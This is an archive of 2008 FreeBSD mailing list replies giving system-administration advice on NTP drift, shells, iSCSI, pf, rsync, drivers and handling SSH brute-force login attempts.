On Mon, Nov 17, 2008 at 03:01:02PM -0500, N.J. Thomas wrote: > * Maxim Khitrov <[EMAIL PROTECTED]> [2008-11-17 14:47:00+]: > > > I've not seen any problems with the clock on my RootBSD Xen system. > > > I do run the ntpd in base and on average, my clock is usually only > > > about 15ms away from "true UTC". > > > > That's interesting. Can you post your `ntpq -p` output here? > > Sure: > > $ ntpq -p > remote refid st t when poll reach delay offset > jitter > > == > +clock.trit.net 192.12.19.20 2 u 529 1024 377 81.5542.870 > 6.477 > +mail.honeycomb. 192.43.244.182 u 408 1024 377 44.091 10.986 > 8.250 > *tuppy.intrepidh 64.142.103.194 2 u 413 1024 377 67.709 15.626 > 10.327 > +clock3.redhat.c 66.187.233.4 2 u 445 1024 377 147.283 24.455 > 9.397 > +204.34.198.40 .USNO. 1 u 409 1024 377 88.746 20.620 > 10.405 > +tick.usno.navy. .USNO. 1 u 427 1024 377 20.848 18.916 > 8.212 > +ntp-s1.cise.ufl .GPS.1 u 421 1024 377 45.709 18.067 > 9.222 > LOCAL(0)LOCAL(0)10 l 18 64 3770.0000.000 > 0.004 > > This is what I pretty much used to eyeball my offset earlier. > > > When ntpd is running, its polling interval stays very low (around 64 > > seconds) because it keeps having to reset the clock. My message log is > > filled with the following: > > Intersting, I see the same in my logs, but the frequency seems to be > much less than yours, e.g. for the month of November: > > Nov 1 00:08:22 zaph ntpd[678]: time reset -0.129649 s > Nov 3 15:33:09 zaph ntpd[678]: time reset -0.137509 s > Nov 4 03:11:51 zaph ntpd[678]: time reset +0.237734 s > Nov 4 03:34:23 zaph ntpd[678]: time reset -0.150326 s > Nov 4 13:05:20 zaph ntpd[678]: time reset +0.317738 s > Nov 4 13:32:06 zaph ntpd[678]: time reset -0.560629 s > Nov 4 13:54:35 zaph ntpd[678]: time reset +0.265391 s > Nov 4 15:43:55 zaph ntpd[678]: time reset -0.163660 s > Nov 7 17:31:03 zaph ntpd[678]: time reset -0.130039 s > Nov 10 18:29:19 zaph ntpd[678]: time reset +0.169785 s > Nov 10 19:46:26 zaph ntpd[678]: time reset -0.146554 s > Nov 10 20:27:08 zaph ntpd[678]: time reset +0.891811 s > Nov 10 20:53:59 zaph ntpd[678]: time reset -0.774636 s > Nov 10 21:35:45 zaph ntpd[678]: time reset +0.384227 s > Nov 10 22:33:46 zaph ntpd[678]: time reset -0.194131 s > Nov 11 12:34:25 zaph ntpd[678]: time reset +0.433002 s > Nov 11 13:01:09 zaph ntpd[678]: time reset -0.335592 s > Nov 11 15:17:45 zaph ntpd[678]: time reset +0.933537 s > Nov 11 16:01:42 zaph ntpd[678]: time reset -0.510371 s > Nov 11 17:29:41 zaph ntpd[678]: time reset -0.133244 s > Nov 11 19:16:41 zaph ntpd[678]: time reset +0.191431 s > Nov 11 19:42:30 zaph ntpd[678]: time reset -0.458738 s > Nov 11 20:09:16 zaph ntpd[678]: time reset +0.207999 s > Nov 11 20:36:06 zaph ntpd[678]: time reset +0.143897 s > Nov 14 01:29:44 zaph ntpd[678]: time reset +0.134492 s > Nov 15 13:13:36 zaph ntpd[678]: time reset +0.199937 s > Nov 15 14:45:09 zaph ntpd[678]: time reset -0.205131 s What time counter source does this box have available? The following will list what's being used (hardware) and what's available (choice): sysctl kern.timecounter.choice sysctl kern.timecounter.hardware Other ideas: Look into the "fudge" operator of ntp.conf. Try deleting your ntp driftfile. Note that if you do this, it will take a day or two for things to "level out". It tries to figure out the "average" skew rate your system clock has. > > And so on... Could it be a problem with the hardware on host machine? > > I use the same ntp.conf file on several FreeBSD 7.1 servers, and the > > VPS is the only one that has this problem. > > I checked on my other FreeBSD boxes (all 7.0) and none of them (VPS or > otherwise) exihibit this problem. Then there's a very good possibility it's hardware-related. At my workplace, we've had two separate machines in the past couple months had clocks which "went crazy" -- ntpd reporting 4-5 seconds of skew every 25-30 minutes. In both cases, the problem turned out to be broken/bad hardware (crystal or TSC gone bad). Just something to keep in mind. :-) -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: root /etc/csh
On Mon, Nov 17, 2008 at 11:45:52AM -0800, Daniel Howard wrote: > On Sun, Nov 16, 2008 at 2:41 AM, Jeremy Chadwick <[EMAIL PROTECTED]> wrote: > > On Sun, Nov 16, 2008 at 12:22:11AM -0800, [EMAIL PROTECTED] wrote: > [...] > >> > A statically-linked version of bash would waste significant amounts > >> > of memory, while a dynamically-linked/shared version would ease that > >> > pain. The same applies for any static vs. dynamic program. > >> > >> How so? Wouldn't a single in-memory instance of the bash text > >> segment be shared among all bash processes, across all users? > > > > http://lists.freebsd.org/pipermail/freebsd-stable/2007-August/thread.html#36647 > > http://lists.freebsd.org/pipermail/freebsd-stable/2007-August/036654.html > > "In response to the original post: The kernel's ELF > linker/loader for executables will share the text and > read-only segments for static executables." > > This is consistent with my understanding. A statically-linked bash > will consume more space on disk, and more memory the first time it is > loaded, but as with any other executable, the executable portion of > the program will be re-used each time another bash is run. We didn't get an answer to Oliver's question (see the bottom half of his mail): http://lists.freebsd.org/pipermail/freebsd-stable/2007-August/036653.html > But I am not a developer or a kernel engineer, so if there is a way in > which a statically-compiled bash ends up consuming more memory on each > invocation for some reason, I'd appreciate an explanation as to why. Someone would need to go through and determine using nm or objdump (if possible), combined with procstat -v, to find how much would get wasted. It also depends on what options bash was built with. For example, I use WITHOUT_NLS everywhere, which decreases the overall footprint a bit. My (dynamic) bash binary on my box at home only links to libc and libncurses. As it stands presently, I am under the belief that the benefits of shared/dynamic outweigh static for specific environments. I think I mentioned it earlier in my mail, but on a machine with 1500 shell users, the benefits of shared/dynamic stand out (think: sshd and bash). I do understand your point and where you're coming from, though. It might not matter "as much" for bash, but I also worry the attitude would start to get applied to other shells (like zsh, which is *heavily* shared/dynamic). -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: ZFS over iSCSI anyone ?
On Mon, Nov 17, 2008 at 04:29:06PM +0100, Ivan Voras wrote: > Jeremy Chadwick wrote: > > On Mon, Nov 17, 2008 at 03:44:23PM +0100, Frank Bonnet wrote: > >> Hello > >> > >> Does anyone has tried to use ZFS over iSCSI ? > > > > Another FreeBSD user recently brought to my attention problems with > > iSCSI on FreeBSD. There is a patch available which fixes the issue, but > > I felt you might want to know about it beforehand. > > > > Issue: > > http://lists.freebsd.org/pipermail/freebsd-scsi/2008-February/003383.html > > > > Patch: > > http://lists.freebsd.org/pipermail/freebsd-scsi/2008-February/003387.html > > Isn't this committed already? The user tells me it is not, and that his replies to the patch author have gone ignored. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: ZFS over iSCSI anyone ?
On Mon, Nov 17, 2008 at 03:44:23PM +0100, Frank Bonnet wrote: > Hello > > Does anyone has tried to use ZFS over iSCSI ? Another FreeBSD user recently brought to my attention problems with iSCSI on FreeBSD. There is a patch available which fixes the issue, but I felt you might want to know about it beforehand. Issue: http://lists.freebsd.org/pipermail/freebsd-scsi/2008-February/003383.html Patch: http://lists.freebsd.org/pipermail/freebsd-scsi/2008-February/003387.html -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: 7.1
On Mon, Nov 17, 2008 at 04:09:15PM +0200, Ott Köstner wrote: > Jeremy Chadwick wrote: > >> On Mon, Nov 17, 2008 at 02:49:26PM +0200, Ott Köstner wrote: >> > >>> Also, there was a strange phenomenon with FreeBSD router with pf. >>> the rule in question is: >>> 'scrub in all' >>> >>> I do not knw, if this has anything to do with 7.1 issue. Maybe it is >>> not just a good idea to have a 'scrub' rule on router... >>> >> >> No, it's perfectly fine. But your description of the problem is too >> terse, and the issue should be discussed on freebsd-pf not here. >> >> > OK. Thank you! Will subscribe to pf list. > Just to finish this talk, the problem was with 'pop3s' protocol. > Removing 'scrub' rule from firewall made it work perfectly well... > >> There *are* other problems with pf which have been fixed in RELENG_7 >> (7.1), and you can review my Wiki to see what those are. >> >> > ...and what is the address of this Wiki? Wow, I figured by now everyone had it. That's what I get for assuming. http://wiki.freebsd.org/JeremyChadwick/Commonly_reported_issues -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: 7.1
On Mon, Nov 17, 2008 at 02:49:26PM +0200, Ott Köstner wrote: > Manolis Kiagias wrote: >> Ott Köstner wrote: >>> Manolis Kiagias wrote: >>> >>>> I don't think it is a matter of days, we have not even reached RC >>>> status yet on 7.1 >>>> On a production server you will probably wish to go with >>>> 7.0-RELEASE-p5. It would be trivial to upgrade to 7.1 by means of >>>> freebsd-update(8) when it is released. >>>> You probably don't want to risk 7.1-PRERELEASE on a server, but for >>>> anyone running workstations, desktops, laptops I think it is worth >>>> trying at this moment. >>> I am a person, who made a mistake, installing 7.1 on my production >>> server (actually RELENG_7 stable, which shows up as 7.1). >>> >>> My question is, how stupid is that mistake? Is it better to reinstall >>> 7.0 before something really bad happens, or can I just let it run? >>> What are the most serious bugs to expect? >>> >>> >>> Greetings, >>> O.K. >>> >> >> It all depends on the programs you run, your configuration, system >> load and so on. Bugs that may be present in the system, may simply not >> be applicable to you, if you are not using the specific part or >> feature that has the problem. While it is difficult to assess without >> knowing specific details, I think 7.1 is generally stable at the >> moment. Maybe people using it in production servers (if any) can step >> in and share their experiences. >> > I have just regular internet things running: > apache22, mysql5, bind94, php5, postfix, dovecot, proftpd, clamav, > spamassasin, snmpd... > > ...plus ipfw and pf I'm not sure why you're paranoid of 7.1-PRERELEASE (RELENG_7 at the present time). It seems like you installed it or upgraded to it, then became "greatly concerned" for strange reasons. I really don't think you have anything to worry about. The only "gigantic" difference, as I see it, is that the ULE scheduler is now the default (while in 7.0, 4BSD was default). I personally run all of the above services (minus bind94, clamav, and snmpd; I use the base system bind, do not care for AV software, and use bsnmpd where applicable), and I also run all of those services on servers in my co-location. We have a RELENG_7 box which is working fine doing all of the above, on a dual-core processor to boot. > Actually there is one strange thing what I described here before -- > 'top' reporting incorrect process times. But this appeared already when > I upgraded from FreBSD 6.3 to 7.0. The bug appears on all 7.++ machines, > i386 and amd64. Everything is OK with single-threaded processes, but > processes with multiple threades are reported incorrectly by top. > Anybody else has experienced this? Sounds familiar (not personally). There are efforts underway in CURRENT to improve top. I would recommend posting your top problem to -stable or -hackers. > Also, there was a strange phenomenon with FreeBSD router with pf. > the rule in question is: > 'scrub in all' > > I do not knw, if this has anything to do with 7.1 issue. Maybe it is not > just a good idea to have a 'scrub' rule on router... No, it's perfectly fine. But your description of the problem is too terse, and the issue should be discussed on freebsd-pf not here. There *are* other problems with pf which have been fixed in RELENG_7 (7.1), and you can review my Wiki to see what those are. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: re changing from vista
On Mon, Nov 17, 2008 at 10:23:07AM +0100, Wojciech Puchar wrote: >>> >> >> Try ReactOS- it's exactly that. >> >> I think its a version of Wine on steroids... > > does it really work - i mean all (or most at least) programs work. > > can user simply put say - M$ Office CD/DVD and click setup? > > if yes - they NEED MORE ADVERTISEMENT. > > i will check it today on second disk. if it's OK i will start > recommending it all people i know that use windoze. ReactOS is somewhat of a joke at this point. I've personally tried it, and I cannot see how it can be taken seriously until its cleaned up and made much more user-friendly. There's also been some developer "drama" in recent days, which literally halted the project for months on end, and I don't know what became of that. But does it work (e.x. "does it function")? Yes, it does. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: How can rsync with ssh be used on a non standard ssh port
On Sun, Nov 16, 2008 at 09:43:39AM -0600, [EMAIL PROTECTED] wrote: > Test example. > > I need to sync a directory from my machine to another that is using port > 722 rather than 22. I can use ssh -pm722, scp -P 722 fine but I prefer > rsync for the backup due to configuration flexibility. The man says: > > rsync [OPTION...] SRC... rsync://[EMAIL PROTECTED]:PORT]/DEST > > Which I translate to something like: > > rsync -avz /almacen/testDir rsync://backupMachine.com:722/backup/ > > but I get the following: > > rsync: server sent "SSH-2.0-OpenSSH_5.1p1 FreeBSD-20080901" rather than > greeting > rsync error: error starting client-server protocol (code 5) at > main.c(1504) [sender=3.0.4] > > I've tried variants to the point of no return. Help would be appreciated. Check out the -e flag for rsync. There are examples of how to use this inside of the rsync(1) man page. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: top incorrectly reporting process time
On Sun, Nov 16, 2008 at 04:34:01PM +0200, Ott Köstner wrote: > On several FreeBSD machines I have the following problem: What FreeBSD version? (It matters) > # top -bUmysql > last pid: 99112; load averages: 0.22, 0.12, 0.09 up 2+06:07:05 > 16:17:43 > 132 processes: 1 running, 131 sleeping > > Mem: 718M Active, 2494M Inact, 455M Wired, 77M Cache, 214M Buf, 213M Free > Swap: 4096M Total, 4096M Free > > > PID USERNAME THR PRI NICE SIZERES STATE C TIME WCPU > COMMAND > 1079 mysql 9 200 81564K 60268K sigwai 1 0:01 0.00% mysqld > > > ^^^ > > > 1015 mysql 1 80 7056K 1368K wait 1 0:00 0.00% sh > > > However mysqld time is actually > > # ps -ax|grep mysql > 1015 con- I 0:00.01 /bin/sh /usr/local/bin/mysqld_safe > --defaults-extra-file=/var/db/mysql/my.cnf > 1079 con- S 70:03.64 [mysqld] > ^^^ > > > 99156 p0 S+ 0:00.00 grep mysql > > Anyone who can explain this? Does the behaviour change if you mount /proc? (This would mainly apply to RELENG_6 and earlier only) -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: HW VLAN Filtering on FreeBSD 6.3 + 7.0
On Sun, Nov 16, 2008 at 02:27:36PM +0200, Yony Yossef wrote: > > > I would like to enable my NIC HW VLAN filtering, is there any way for > > my > > > driver to access the OS vlan table? (something like vlan_group_get_device > > on > > > linux) > > > > > > I understood from previous investigation that on FreeBSD 6.3 and 7.0 > > there's > > > no ioctl informing the driver of vlan addition/removal. Is that correct? > > > > Man pages to check out: vlan(4) and ifconfig(8). I'm pretty sure the > > vlan tagging feature is per-driver. > > > Also, the vlan(4) list of supported drivers is out of date (for example, > > em(4) is missing), so be sure to check the man page of your NIC driver. > > Sorry, i explained myself pretty bad. I'm working on an Ethernet driver for > FreeBSD. > The VLAN hw tagging is already working properly, but my nic is capable of > holding a vlan table on hw, filtering vlans on it's own. > I need to find a way to update that hw table. > one way is to recieve a ioctl from the OS of it's vlan table event (add, > remove). I can't find such ioctl. > second is to have a direct access from the driver to the OS vlan table. I'm > not familiar with the interface or if it's possible at all, and that is my > actual question. This question should go to freebsd-hackers. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: gcc-4.3.3 problem
On Sun, Nov 16, 2008 at 12:17:32PM +, Robin Becker wrote: > Robin Becker wrote: >> I'm trying to run some benchmarks for a modified version of Python >> 2.5.2, unfortunately the modification requires a newer version of GCC >> so I have installed gcc version 4.3.3 from ports. >> >> When I try to run my make command I'm seeing this error >> >> *** WARNING: renaming "_codecs_hk" since importing it failed: Shared >> object "libgcc_s.so.1" >> >> I see that the gcc 4.3.3 libs were installed in >> /usr/local/lib/gcc-4.3.3 and I can get things to work by setting up the >> appropriate -L option and LD_LIBRARY_PATH. >> >> Is there some way to make these libraries available without this? > I think this is just a question of adding /usr/local/lib/gcc-4.3.3 to > the ldconfig hints. At least when I ran > > ldconfig -R /usr/local/lib/gcc-4.3.3 > > things improved. The ports framework has support to do this automatically, so the question is why it didn't happen. Could you file a PR on the matter? -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: HW VLAN Filtering on FreeBSD 6.3 + 7.0
On Sun, Nov 16, 2008 at 02:03:54PM +0200, Yony Yossef wrote: > I would like to enable my NIC HW VLAN filtering, is there any way for my > driver to access the OS vlan table? (something like vlan_group_get_device on > linux) > > I understood from previous investigation that on FreeBSD 6.3 and 7.0 there's > no ioctl informing the driver of vlan addition/removal. Is that correct? Man pages to check out: vlan(4) and ifconfig(8). I'm pretty sure the vlan tagging feature is per-driver. Also, the vlan(4) list of supported drivers is out of date (for example, em(4) is missing), so be sure to check the man page of your NIC driver. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Port Linux Driver
On Sun, Nov 16, 2008 at 02:35:07AM -0800, weinter.lim wrote: > Hi > I have posted > > I am installing FreeBSD 7.1 Beta 2 on my laptop model Acer Aspire 4530 > 1) Atheros AR5B91 is not detected > Does anyone know how to get the drivers or patch it > > [EMAIL PROTECTED]:11:0:0: class=0x028000 card=0x03031a32 chip=0x002a168c > rev=0x01 > hdr=0x00 > vendor = 'Atheros Communications Inc.' > class = network > > I have found the Linux driver here > http://wireless.kernel.org/en/users/Drivers/ath9k > Anyone can advice me to port the driver over to BSD ? You posted something similar to -hardware about your Broadcom NIC and got responses, so I'm not sure why you decided to go with -questions this time around. :-) Linux drivers are not "ported" to FreeBSD. The driver and ABI semantics are *way* too difference to port. A new driver must be created. The Linux driver can be looked at to determine importance of register bits or other things, but this requires the Linux driver to have large amounts of commenting, many of which do not. Thirdly, your Atheros chip is an "AR5B91", it is an "AR9281". I'm not sure where 5B91 came from. Other things to note: 1) There is ath(4) on FreeBSD, but it is for different versions of Atheros chips; it may not be possible to extend ath(4) to support the 9281. 2) Atheros chips have a history of being very different from one another, as can be confirmed with ale(4) vs. age(4) (ex: the L1E NIC completely different from the L1 NIC). I've added an entry to my below Wiki page stating that we do not have support for these Atheros chips. http://wiki.freebsd.org/JeremyChadwick/Commonly_reported_issues -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: root /etc/csh
On Sun, Nov 16, 2008 at 12:22:11AM -0800, [EMAIL PROTECTED] wrote: > > 3) You can build bash statically; make WITH_STATIC_BASH=true. I do > > not know the true reason why the port is not built statically by > > default, but I can give you a damn good reason why it shouldn't be: > > complete and total wasted memory. > > > > Take into consideration environments where there are hundreds (or at > > my place of work, thousands) of users logged into a machine at once. > > Many of those are going to have /usr/local/bin/bash as their shell. > > A statically-linked version of bash would waste significant amounts > > of memory, while a dynamically-linked/shared version would ease that > > pain. The same applies for any static vs. dynamic program. > > How so? Wouldn't a single in-memory instance of the bash text > segment be shared among all bash processes, across all users? http://lists.freebsd.org/pipermail/freebsd-stable/2007-August/thread.html#36647 > A better reason is that security updates to shared libs often > update only the .so files, expecting the binaries that use them > to automatically pick up the new versions. Any static executable > should be rebuilt any time there is a security update to a shared > lib that it would be using were it linked dynamically. Yup, that's another reason. > That said, perhaps it would be reasonable for shell ports to > build both a dynamically-linked instance to be installed in > /usr/local/bin, and a statically-linked instance to be installed > in, say, /usr/local/static. Those who want to use bash as the > root shell could copy it from there to /bin or /sbin. This part of the thread should be moved to freebsd-ports, or obrien@ pulled in here. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: root /etc/csh
On Sat, Nov 15, 2008 at 10:36:24PM -0500, Dan wrote: > Jeremy Chadwick([EMAIL PROTECTED])@2008.11.15 18:32:39 -0800: > > > Problem solved. Why doesn't FreeBSD ship bash and other shells besides > > > the `sh' linked statically is beyond me. It wouldn't break ports, would > > > it? > > > > It does break ports. Very, very badly. I know because I've personally > > attempted replacing /bin/sh with bash as a "I have a weekend to spare" > > project. > > You misunderstand. I do not suggest replacing the standard shell with > bash, I suggest that the shells available in FreeBSD, even through ports > to be linked statically so they can be used for rescue and recovery. > If the default make instructions told to compile statically, it wouldn't > break the ports. You're right -- I'm still not understanding. So let me cover the bases here: 1) The entire ports and FreeBSD build system (see: world) rely heavily on /bin/sh-isms and do not work with bash. bash being compiled statically will not solve these problems. 2) Changing the root users' shell is not recommended. There are a lot of reasons for this, but as mentioned, the main one is single-user scenarios (where /usr hasn't been mounted yet, thus /usr/local/bin/bash is not available -- and if it's installed as /bin/bash, the libraries /bin/bash link to are not available). 3) You can build bash statically; make WITH_STATIC_BASH=true. I do not know the true reason why the port is not built statically by default, but I can give you a damn good reason why it shouldn't be: complete and total wasted memory. Take into consideration environments where there are hundreds (or at my place of work, thousands) of users logged into a machine at once. Many of those are going to have /usr/local/bin/bash as their shell. A statically-linked version of bash would waste significant amounts of memory, while a dynamically-linked/shared version would ease that pain. The same applies for any static vs. dynamic program. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: root /etc/csh
On Sat, Nov 15, 2008 at 01:19:57AM -0500, [EMAIL PROTECTED] wrote: > > isn't the "main reason" because other shells may reside on a filesystem > > which isn't necessarily mounted in maintenance/single user mode? Or, > > libraries > > for the same? > > -- > > Jim Pazarena [EMAIL PROTECTED] > > Just link the shell of your choice statically and put it somewhere in /. > Problem solved. Why doesn't FreeBSD ship bash and other shells besides > the `sh' linked statically is beyond me. It wouldn't break ports, would > it? It does break ports. Very, very badly. I know because I've personally attempted replacing /bin/sh with bash as a "I have a weekend to spare" project. The topic of bringing bash into BSD as /bin/sh has been discussed in the past many, many times. It's always a heated discussion. We went through the same thing discussing bringing tcsh in (remember, /bin/csh is tcsh). -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: "High Noonn" DVD??
On Sat, Nov 15, 2008 at 05:23:23PM +0100, Nikola Le??i?? wrote: > On Sat, 15 Nov 2008 14:46:00 +0100 > Roland Smith <[EMAIL PROTECTED]> wrote: > > > OK, that's nice to know. All the DVDs that I have play fine with > > mplayer, but they're probably all region 2 disks. So I should be able > > to play region 1 disks with mplayer? > > That's exactly what I am trying to do at this moment, with no success. > I'm in the region 2 and I set my DVD drive accordingly (with a small C > programme). Now I got some region 1 DVDs and libdvdcss is not sufficient > as such. Of course, I can change DVD drive region setting temporarily, > but the drive allows just 4 or 5 such changes. Does anyone know how to > avoid this counting? Changing the region encoding setting on your DVD drive involves setting a bit or code somewhere in the flash/EEPROM inside of the DVD drive. The limit of 4-5 changes is purely a DVD drive firmware thing; there's no technical limit, instead it's a limit imposed by the firmware. There are websites nowadays which offer "hacked" firmwares which remove region encoding altogether (or remove the 4-5 set limit). However, they're only available for very specific models of DVD drives. If this is important to you, you should considering purchasing a drive that can be flashed with a "hacked" firmware. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Question about entry in auth.log
On Fri, Nov 14, 2008 at 11:37:15PM -0800, Jeremy Chadwick wrote: > On Fri, Nov 14, 2008 at 10:00:13PM -0500, Lisa Casey wrote: > > Very odd. Sigh, Michael is not vacationing in Romania. Doubt he's ever > > been there. I got rid of the michael account (it wasn't used anyway), and > > downloaded a new copy of chkrootkit, installed it and ran it along with > > chklastlog and chkwtmp. Nothing was found. Pehaps this was a harmless > > enough prank? Anything else I ought to look at? Fortunately the michael > > account did not have te ability to su to root. > > The individual in Romania *was not* able to log in as michael. The Correction: the individual **WAS** able to log in as michael. I missed the part of the message that said "Accepted" at the front. Sorry for confusing you, I've had a very rough week and my brain is not functioning. What Wojciech said is correct -- change the password on the account. Also keep in mind that the user may not have actually logged in and gotten a shell; the message you see can also happen if the individual simply scp'd something (e.g. no shell spawned). -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Question about entry in auth.log
On Fri, Nov 14, 2008 at 10:00:13PM -0500, Lisa Casey wrote: > Very odd. Sigh, Michael is not vacationing in Romania. Doubt he's ever > been there. I got rid of the michael account (it wasn't used anyway), and > downloaded a new copy of chkrootkit, installed it and ran it along with > chklastlog and chkwtmp. Nothing was found. Pehaps this was a harmless > enough prank? Anything else I ought to look at? Fortunately the michael > account did not have te ability to su to root. The individual in Romania *was not* able to log in as michael. The message you saw was sshd saying "Someone's trying to SSH in as user michael; SSH key negotiation failed, and now I'm asking them to type in their password manually". It's not a prank. Shady online individuals have written scripts/tools that repetitively beat on sshd, trying to find an account they can log in as. They're simply scanning for valid accounts, and they also often try many passwords over and over (common things, such as the username as a password). Welcome to the Internet circa 2008. :( "So how do I solve this problem?" The easiest way: change sshd to listen on a port *other* than 22. Many people pick . This relieves 99% of the pain, but requires you to tell your users/co-workers/peers "My box listens on port for ssh, not 22". A secondary way: programs which monitor logs and add firewall block rules when they see too many brute force attempts coming from an IP address: ports/security/blocksshd ports/security/sshblock ports/security/sshguard (I think I forgot one more, but those are the main three) -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: re changing from vista
